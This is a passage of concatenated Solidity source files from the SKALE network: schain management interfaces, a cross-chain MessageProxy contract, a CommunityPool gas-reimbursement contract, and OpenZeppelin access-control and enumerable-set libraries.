2021-Present SKALE Labs @author Dmytro Stebaeiv SKALE Manager Interfaces is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager Interfaces is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; interface ISchains { struct SchainOption { string name; bytes value; } /** * @dev Emitted when an schain is created. */ event SchainCreated( string name, address owner, uint partOfNode, uint lifetime, uint numberOfNodes, uint deposit, uint16 nonce, bytes32 schainHash ); /** * @dev Emitted when an schain is deleted. */ event SchainDeleted( address owner, string name, bytes32 indexed schainHash ); /** * @dev Emitted when a node in an schain is rotated. */ event NodeRotated( bytes32 schainHash, uint oldNode, uint newNode ); /** * @dev Emitted when a node is added to an schain. */ event NodeAdded( bytes32 schainHash, uint newNode ); /** * @dev Emitted when a group of nodes is created for an schain. */ event SchainNodes( string name, bytes32 schainHash, uint[] nodesInGroup ); function addSchain(address from, uint deposit, bytes calldata data) external; function addSchainByFoundation( uint lifetime, uint8 typeOfSchain, uint16 nonce, string calldata name, address schainOwner, address schainOriginator, SchainOption[] calldata options ) external payable; function deleteSchain(address from, string calldata name) external; function deleteSchainByRoot(string calldata name) external; function restartSchainCreation(string calldata name) external; function verifySchainSignature( uint256 signA, uint256 signB, bytes32 hash, uint256 counter, uint256 hashA, uint256 hashB, string calldata schainName ) external view returns (bool); function getSchainPrice(uint typeOfSchain, uint lifetime) external view returns (uint); function getOption(bytes32 schainHash, string calldata optionName) external view returns (bytes memory); function getOptions(bytes32 schainHash) external view returns (SchainOption[] memory); } // SPDX-License-Identifier: AGPL-3.0-only /* ISchainsInternal - SKALE Manager Interfaces Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaeiv SKALE Manager Interfaces is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager Interfaces is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; interface ISchainsInternal { struct Schain { string name; address owner; uint indexInOwnerList; uint8 partOfNode; uint lifetime; uint startDate; uint startBlock; uint deposit; uint64 index; uint generation; address originator; } struct SchainType { uint8 partOfNode; uint numberOfNodes; } /** * @dev Emitted when schain type added. */ event SchainTypeAdded(uint indexed schainType, uint partOfNode, uint numberOfNodes); /** * @dev Emitted when schain type removed. */ event SchainTypeRemoved(uint indexed schainType); function initializeSchain( string calldata name, address from, address originator, uint lifetime, uint deposit) external; function createGroupForSchain( bytes32 schainHash, uint numberOfNodes, uint8 partOfNode ) external returns (uint[] memory); function changeLifetime(bytes32 schainHash, uint lifetime, uint deposit) external; function removeSchain(bytes32 schainHash, address from) external; function removeNodeFromSchain(uint nodeIndex, bytes32 schainHash) external; function deleteGroup(bytes32 schainHash) external; function setException(bytes32 schainHash, uint nodeIndex) external; function setNodeInGroup(bytes32 schainHash, uint nodeIndex) external; function removeHolesForSchain(bytes32 schainHash) external; function addSchainType(uint8 partOfNode, uint numberOfNodes) external; function removeSchainType(uint typeOfSchain) external; function setNumberOfSchainTypes(uint newNumberOfSchainTypes) external; function removeNodeFromAllExceptionSchains(uint nodeIndex) external; function removeAllNodesFromSchainExceptions(bytes32 schainHash) external; function makeSchainNodesInvisible(bytes32 schainHash) external; function makeSchainNodesVisible(bytes32 schainHash) external; function newGeneration() external; function addSchainForNode(uint nodeIndex, bytes32 schainHash) external; function removeSchainForNode(uint nodeIndex, uint schainIndex) external; function removeNodeFromExceptions(bytes32 schainHash, uint nodeIndex) external; function isSchainActive(bytes32 schainHash) external view returns (bool); function schainsAtSystem(uint index) external view returns (bytes32); function numberOfSchains() external view returns (uint64); function getSchains() external view returns (bytes32[] memory); function getSchainsPartOfNode(bytes32 schainHash) external view returns (uint8); function getSchainListSize(address from) external view returns (uint); function getSchainHashesByAddress(address from) external view returns (bytes32[] memory); function getSchainIdsByAddress(address from) external view returns (bytes32[] memory); function getSchainHashesForNode(uint nodeIndex) external view returns (bytes32[] memory); function getSchainIdsForNode(uint nodeIndex) external view returns (bytes32[] memory); function getSchainOwner(bytes32 schainHash) external view returns (address); function getSchainOriginator(bytes32 schainHash) external view returns (address); function isSchainNameAvailable(string calldata name) external view returns (bool); function isTimeExpired(bytes32 schainHash) external view returns (bool); function isOwnerAddress(address from, bytes32 schainId) external view returns (bool); function getSchainName(bytes32 schainHash) external view returns (string memory); function getActiveSchain(uint nodeIndex) external view returns (bytes32); function getActiveSchains(uint nodeIndex) external view returns (bytes32[] memory activeSchains); function getNumberOfNodesInGroup(bytes32 schainHash) external view returns (uint); function getNodesInGroup(bytes32 schainHash) external view returns (uint[] memory); function isNodeAddressesInGroup(bytes32 schainId, address sender) external view returns (bool); function getNodeIndexInGroup(bytes32 schainHash, uint nodeId) external view returns (uint); function isAnyFreeNode(bytes32 schainHash) external view returns (bool); function checkException(bytes32 schainHash, uint nodeIndex) external view returns (bool); function checkHoleForSchain(bytes32 schainHash, uint indexOfNode) external view returns (bool); function checkSchainOnNode(uint nodeIndex, bytes32 schainHash) external view returns (bool); function getSchainType(uint typeOfSchain) external view returns(uint8, uint); function getGeneration(bytes32 schainHash) external view returns (uint); function isSchainExist(bytes32 schainHash) external view returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only /** * MessageProxy.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Dmytro Stebaiev * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.6; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol"; import "@skalenetwork/ima-interfaces/IGasReimbursable.sol"; import "@skalenetwork/ima-interfaces/IMessageProxy.sol"; import "@skalenetwork/ima-interfaces/IMessageReceiver.sol"; /** * @title MessageProxy * @dev Abstract contract for MessageProxyForMainnet and MessageProxyForSchain. */ abstract contract MessageProxy is AccessControlEnumerableUpgradeable, IMessageProxy { using AddressUpgradeable for address; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; /** * @dev Structure that stores counters for outgoing and incoming messages. */ struct ConnectedChainInfo { // message counters start with 0 uint256 incomingMessageCounter; uint256 outgoingMessageCounter; bool inited; } bytes32 public constant MAINNET_HASH = keccak256(abi.encodePacked("Mainnet")); bytes32 public constant CHAIN_CONNECTOR_ROLE = keccak256("CHAIN_CONNECTOR_ROLE"); bytes32 public constant EXTRA_CONTRACT_REGISTRAR_ROLE = keccak256("EXTRA_CONTRACT_REGISTRAR_ROLE"); bytes32 public constant CONSTANT_SETTER_ROLE = keccak256("CONSTANT_SETTER_ROLE"); uint256 public constant MESSAGES_LENGTH = 10; uint256 public constant REVERT_REASON_LENGTH = 64; // schainHash => ConnectedChainInfo mapping(bytes32 => ConnectedChainInfo) public connectedChains; // schainHash => contract address => allowed // solhint-disable-next-line private-vars-leading-underscore mapping(bytes32 => mapping(address => bool)) internal deprecatedRegistryContracts; uint256 public gasLimit; /** * @dev Emitted for every outgoing message to schain. */ event OutgoingMessage( bytes32 indexed dstChainHash, uint256 indexed msgCounter, address indexed srcContract, address dstContract, bytes data ); /** * @dev Emitted when function `postMessage` returns revert. * Used to prevent stuck loop inside function `postIncomingMessages`. */ event PostMessageError( uint256 indexed msgCounter, bytes message ); /** * @dev Emitted when gas limit per one call of `postMessage` was changed. */ event GasLimitWasChanged( uint256 oldValue, uint256 newValue ); /** * @dev Emitted when the version was updated */ event VersionUpdated(string oldVersion, string newVersion); /** * @dev Emitted when extra contract was added. */ event ExtraContractRegistered( bytes32 indexed chainHash, address contractAddress ); /** * @dev Emitted when extra contract was removed. */ event ExtraContractRemoved( bytes32 indexed chainHash, address contractAddress ); /** * @dev Modifier to make a function callable only if caller is granted with {CHAIN_CONNECTOR_ROLE}. */ modifier onlyChainConnector() { require(hasRole(CHAIN_CONNECTOR_ROLE, msg.sender), "CHAIN_CONNECTOR_ROLE is required"); _; } /** * @dev Modifier to make a function callable only if caller is granted with {EXTRA_CONTRACT_REGISTRAR_ROLE}. */ modifier onlyExtraContractRegistrar() { require(hasRole(EXTRA_CONTRACT_REGISTRAR_ROLE, msg.sender), "EXTRA_CONTRACT_REGISTRAR_ROLE is required"); _; } /** * @dev Modifier to make a function callable only if caller is granted with {CONSTANT_SETTER_ROLE}. */ modifier onlyConstantSetter() { require(hasRole(CONSTANT_SETTER_ROLE, msg.sender), "Not enough permissions to set constant"); _; } /** * @dev Sets gasLimit to a new value. * * Requirements: * * - `msg.sender` must be granted CONSTANT_SETTER_ROLE. */ function setNewGasLimit(uint256 newGasLimit) external override onlyConstantSetter { emit GasLimitWasChanged(gasLimit, newGasLimit); gasLimit = newGasLimit; } /** * @dev Virtual function for `postIncomingMessages`. */ function postIncomingMessages( string calldata fromSchainName, uint256 startingCounter, Message[] calldata messages, Signature calldata sign ) external virtual override; /** * @dev Allows `msg.sender` to register extra contract for all schains * for being able to transfer messages from custom contracts. * * Requirements: * * - `msg.sender` must be granted as EXTRA_CONTRACT_REGISTRAR_ROLE. * - Passed address should be contract. * - Extra contract must not be registered. */ function registerExtraContractForAll(address extraContract) external override onlyExtraContractRegistrar { require(extraContract.isContract(), "Given address is not a contract"); require(!_getRegistryContracts()[bytes32(0)].contains(extraContract), "Extra contract is already registered"); _getRegistryContracts()[bytes32(0)].add(extraContract); emit ExtraContractRegistered(bytes32(0), extraContract); } /** * @dev Allows `msg.sender` to remove extra contract for all schains. * Extra contract will no longer be able to send messages through MessageProxy. * * Requirements: * * - `msg.sender` must be granted as EXTRA_CONTRACT_REGISTRAR_ROLE. */ function removeExtraContractForAll(address extraContract) external override onlyExtraContractRegistrar { require(_getRegistryContracts()[bytes32(0)].contains(extraContract), "Extra contract is not registered"); _getRegistryContracts()[bytes32(0)].remove(extraContract); emit ExtraContractRemoved(bytes32(0), extraContract); } /** * @dev Should return length of contract registered by schainHash. */ function getContractRegisteredLength(bytes32 schainHash) external view override returns (uint256) { return _getRegistryContracts()[schainHash].length(); } /** * @dev Should return a range of contracts registered by schainHash. * * Requirements: * range should be less or equal 10 contracts */ function getContractRegisteredRange( bytes32 schainHash, uint256 from, uint256 to ) external view override returns (address[] memory contractsInRange) { require( from < to && to - from <= 10 && to <= _getRegistryContracts()[schainHash].length(), "Range is incorrect" ); contractsInRange = new address[](to - from); for (uint256 i = from; i < to; i++) { contractsInRange[i - from] = _getRegistryContracts()[schainHash].at(i); } } /** * @dev Returns number of outgoing messages. * * Requirements: * * - Target schain must be initialized. */ function getOutgoingMessagesCounter(string calldata targetSchainName) external view override returns (uint256) { bytes32 dstChainHash = keccak256(abi.encodePacked(targetSchainName)); require(connectedChains[dstChainHash].inited, "Destination chain is not initialized"); return connectedChains[dstChainHash].outgoingMessageCounter; } /** * @dev Returns number of incoming messages. * * Requirements: * * - Source schain must be initialized. */ function getIncomingMessagesCounter(string calldata fromSchainName) external view override returns (uint256) { bytes32 srcChainHash = keccak256(abi.encodePacked(fromSchainName)); require(connectedChains[srcChainHash].inited, "Source chain is not initialized"); return connectedChains[srcChainHash].incomingMessageCounter; } function initializeMessageProxy(uint newGasLimit) public initializer { AccessControlEnumerableUpgradeable.__AccessControlEnumerable_init(); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(CHAIN_CONNECTOR_ROLE, msg.sender); _setupRole(EXTRA_CONTRACT_REGISTRAR_ROLE, msg.sender); _setupRole(CONSTANT_SETTER_ROLE, msg.sender); gasLimit = newGasLimit; } /** * @dev Posts message from this contract to `targetChainHash` MessageProxy contract. * This is called by a smart contract to make a cross-chain call. * * Emits an {OutgoingMessage} event. * * Requirements: * * - Target chain must be initialized. * - Target chain must be registered as external contract. */ function postOutgoingMessage( bytes32 targetChainHash, address targetContract, bytes memory data ) public override virtual { require(connectedChains[targetChainHash].inited, "Destination chain is not initialized"); _authorizeOutgoingMessageSender(targetChainHash); emit OutgoingMessage( targetChainHash, connectedChains[targetChainHash].outgoingMessageCounter, msg.sender, targetContract, data ); connectedChains[targetChainHash].outgoingMessageCounter += 1; } /** * @dev Allows CHAIN_CONNECTOR_ROLE to remove connected chain from this contract. * * Requirements: * * - `msg.sender` must be granted CHAIN_CONNECTOR_ROLE. * - `schainName` must be initialized. */ function removeConnectedChain(string memory schainName) public virtual override onlyChainConnector { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require(connectedChains[schainHash].inited, "Chain is not initialized"); delete connectedChains[schainHash]; } /** * @dev Checks whether chain is currently connected. */ function isConnectedChain( string memory schainName ) public view virtual override returns (bool) { return connectedChains[keccak256(abi.encodePacked(schainName))].inited; } /** * @dev Checks whether contract is currently registered as extra contract. */ function isContractRegistered( bytes32 schainHash, address contractAddress ) public view override returns (bool) { return _getRegistryContracts()[schainHash].contains(contractAddress); } /** * @dev Allows MessageProxy to register extra contract for being able to transfer messages from custom contracts. * * Requirements: * * - Extra contract address must be contract. * - Extra contract must not be registered. * - Extra contract must not be registered for all chains. */ function _registerExtraContract( bytes32 chainHash, address extraContract ) internal { require(extraContract.isContract(), "Given address is not a contract"); require(!_getRegistryContracts()[chainHash].contains(extraContract), "Extra contract is already registered"); require( !_getRegistryContracts()[bytes32(0)].contains(extraContract), "Extra contract is already registered for all chains" ); _getRegistryContracts()[chainHash].add(extraContract); emit ExtraContractRegistered(chainHash, extraContract); } /** * @dev Allows MessageProxy to remove extra contract, * thus `extraContract` will no longer be available to transfer messages from mainnet to schain. * * Requirements: * * - Extra contract must be registered. */ function _removeExtraContract( bytes32 chainHash, address extraContract ) internal { require(_getRegistryContracts()[chainHash].contains(extraContract), "Extra contract is not registered"); _getRegistryContracts()[chainHash].remove(extraContract); emit ExtraContractRemoved(chainHash, extraContract); } /** * @dev Allows MessageProxy to connect schain with MessageProxyOnMainnet for transferring messages. * * Requirements: * * - `msg.sender` must be granted CHAIN_CONNECTOR_ROLE. * - SKALE chain must not be connected. */ function _addConnectedChain(bytes32 schainHash) internal onlyChainConnector { require(!connectedChains[schainHash].inited,"Chain is already connected"); connectedChains[schainHash] = ConnectedChainInfo({ incomingMessageCounter: 0, outgoingMessageCounter: 0, inited: true }); } /** * @dev Allows MessageProxy to send messages from schain to mainnet. * Destination contract must implement `postMessage` method. */ function _callReceiverContract( bytes32 schainHash, Message calldata message, uint counter ) internal { if (!message.destinationContract.isContract()) { emit PostMessageError( counter, "Destination contract is not a contract" ); return; } try IMessageReceiver(message.destinationContract).postMessage{gas: gasLimit}( schainHash, message.sender, message.data ) { return; } catch Error(string memory reason) { emit PostMessageError( counter, _getSlice(bytes(reason), REVERT_REASON_LENGTH) ); } catch Panic(uint errorCode) { emit PostMessageError( counter, abi.encodePacked(errorCode) ); } catch (bytes memory revertData) { emit PostMessageError( counter, _getSlice(revertData, REVERT_REASON_LENGTH) ); } } /** * @dev Returns receiver of message. */ function _getGasPayer( bytes32 schainHash, Message calldata message, uint counter ) internal returns (address) { try IGasReimbursable(message.destinationContract).gasPayer{gas: gasLimit}( schainHash, message.sender, message.data ) returns (address receiver) { return receiver; } catch Error(string memory reason) { emit PostMessageError( counter, _getSlice(bytes(reason), REVERT_REASON_LENGTH) ); return address(0); } catch Panic(uint errorCode) { emit PostMessageError( counter, abi.encodePacked(errorCode) ); return address(0); } catch (bytes memory revertData) { emit PostMessageError( counter, _getSlice(revertData, REVERT_REASON_LENGTH) ); return address(0); } } /** * @dev Checks whether msg.sender is registered as custom extra contract. */ function _authorizeOutgoingMessageSender(bytes32 targetChainHash) internal view virtual { require( isContractRegistered(bytes32(0), msg.sender) || isContractRegistered(targetChainHash, msg.sender), "Sender contract is not registered" ); } /** * @dev Returns list of registered custom extra contracts. */ function _getRegistryContracts() internal view virtual returns (mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) storage); /** * @dev Returns hash of message array. */ function _hashedArray( Message[] calldata messages, uint256 startingCounter, string calldata fromChainName ) internal pure returns (bytes32) { bytes32 sourceHash = keccak256(abi.encodePacked(fromChainName)); bytes32 hash = keccak256(abi.encodePacked(sourceHash, bytes32(startingCounter))); for (uint256 i = 0; i < messages.length; i++) { hash = keccak256( abi.encodePacked( abi.encode( hash, messages[i].sender, messages[i].destinationContract ), messages[i].data ) ); } return hash; } function _getSlice(bytes memory text, uint end) private pure returns (bytes memory) { uint slicedEnd = end < text.length ? end : text.length; bytes memory sliced = new bytes(slicedEnd); for(uint i = 0; i < slicedEnd; i++){ sliced[i] = text[i]; } return sliced; } } // SPDX-License-Identifier: AGPL-3.0-only /* CommunityPool.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.6; import "@skalenetwork/ima-interfaces/mainnet/ICommunityPool.sol"; import "@skalenetwork/skale-manager-interfaces/IWallets.sol"; import "../Messages.sol"; import "./Twin.sol"; /** * @title CommunityPool * @dev Contract contains logic to perform automatic self-recharging ETH for nodes. */ contract CommunityPool is Twin, ICommunityPool { using AddressUpgradeable for address payable; bytes32 public constant CONSTANT_SETTER_ROLE = keccak256("CONSTANT_SETTER_ROLE"); // address of user => schainHash => balance of gas wallet in ETH mapping(address => mapping(bytes32 => uint)) private _userWallets; // address of user => schainHash => true if unlocked for transferring mapping(address => mapping(bytes32 => bool)) public activeUsers; uint public minTransactionGas; /** * @dev Emitted when minimal value in gas for transactions from schain to mainnet was changed */ event MinTransactionGasWasChanged( uint oldValue, uint newValue ); function initialize( IContractManager contractManagerOfSkaleManagerValue, ILinker linker, IMessageProxyForMainnet messageProxyValue ) external override initializer { Twin.initialize(contractManagerOfSkaleManagerValue, messageProxyValue); _setupRole(LINKER_ROLE, address(linker)); minTransactionGas = 1e6; } /** * @dev Allows MessageProxyForMainnet to reimburse gas for transactions * that transfer funds from schain to mainnet. * * Requirements: * * - User that receives funds should have enough funds in their gas wallet. * - Address that should be reimbursed for executing transaction must not be null. */ function refundGasByUser( bytes32 schainHash, address payable node, address user, uint gas ) external override onlyMessageProxy returns (uint) { require(node != address(0), "Node address must be set"); if (!activeUsers[user][schainHash]) { return gas; } uint amount = tx.gasprice * gas; if (amount > _userWallets[user][schainHash]) { amount = _userWallets[user][schainHash]; } _userWallets[user][schainHash] = _userWallets[user][schainHash] - amount; if (!_balanceIsSufficient(schainHash, user, 0)) { activeUsers[user][schainHash] = false; messageProxy.postOutgoingMessage( schainHash, schainLinks[schainHash], Messages.encodeLockUserMessage(user) ); } node.sendValue(amount); return (tx.gasprice * gas - amount) / tx.gasprice; } function refundGasBySchainWallet( bytes32 schainHash, address payable node, uint gas ) external override onlyMessageProxy returns (bool) { if (gas > 0) { IWallets(payable(contractManagerOfSkaleManager.getContract("Wallets"))).refundGasBySchain( schainHash, node, gas, false ); } return true; } /** * @dev Allows `msg.sender` to recharge their wallet for further gas reimbursement. * * Requirements: * * - 'msg.sender` should recharge their gas wallet for amount that enough to reimburse any * transaction from schain to mainnet. */ function rechargeUserWallet(string calldata schainName, address user) external payable override { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require( _balanceIsSufficient(schainHash, user, msg.value), "Not enough ETH for transaction" ); _userWallets[user][schainHash] = _userWallets[user][schainHash] + msg.value; if (!activeUsers[user][schainHash]) { activeUsers[user][schainHash] = true; messageProxy.postOutgoingMessage( schainHash, schainLinks[schainHash], Messages.encodeActivateUserMessage(user) ); } } /** * @dev Allows `msg.sender` to withdraw funds from their gas wallet. * If `msg.sender` withdraws too much funds, * then he will no longer be able to transfer their tokens on ETH from schain to mainnet. * * Requirements: * * - 'msg.sender` must have sufficient amount of ETH on their gas wallet. */ function withdrawFunds(string calldata schainName, uint amount) external override { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require(amount <= _userWallets[msg.sender][schainHash], "Balance is too low"); require(!messageProxy.messageInProgress(), "Message is in progress"); _userWallets[msg.sender][schainHash] = _userWallets[msg.sender][schainHash] - amount; if ( !_balanceIsSufficient(schainHash, msg.sender, 0) && activeUsers[msg.sender][schainHash] ) { activeUsers[msg.sender][schainHash] = false; messageProxy.postOutgoingMessage( schainHash, schainLinks[schainHash], Messages.encodeLockUserMessage(msg.sender) ); } payable(msg.sender).sendValue(amount); } /** * @dev Allows `msg.sender` set the amount of gas that should be * enough for reimbursing any transaction from schain to mainnet. * * Requirements: * * - 'msg.sender` must have sufficient amount of ETH on their gas wallet. */ function setMinTransactionGas(uint newMinTransactionGas) external override { require(hasRole(CONSTANT_SETTER_ROLE, msg.sender), "CONSTANT_SETTER_ROLE is required"); emit MinTransactionGasWasChanged(minTransactionGas, newMinTransactionGas); minTransactionGas = newMinTransactionGas; } /** * @dev Returns the amount of ETH on gas wallet for particular user. */ function getBalance(address user, string calldata schainName) external view override returns (uint) { return _userWallets[user][keccak256(abi.encodePacked(schainName))]; } /** * @dev Checks whether user is active and wallet was recharged for sufficient amount. */ function checkUserBalance(bytes32 schainHash, address receiver) external view override returns (bool) { return activeUsers[receiver][schainHash] && _balanceIsSufficient(schainHash, receiver, 0); } /** * @dev Checks whether user wallet was recharged for sufficient amount. */ function _balanceIsSufficient(bytes32 schainHash, address receiver, uint256 delta) private view returns (bool) { return delta + _userWallets[receiver][schainHash] >= minTransactionGas * tx.gasprice; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlEnumerableUpgradeable.sol"; import "./AccessControlUpgradeable.sol"; import "../utils/structs/EnumerableSetUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable { function __AccessControlEnumerable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); } function __AccessControlEnumerable_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {grantRole} to track enumerable memberships */ function grantRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) { super.grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {revokeRole} to track enumerable memberships */ function revokeRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) { super.revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {renounceRole} to track enumerable memberships */ function renounceRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) { super.renounceRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {_setupRole} to track enumerable memberships */ function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return 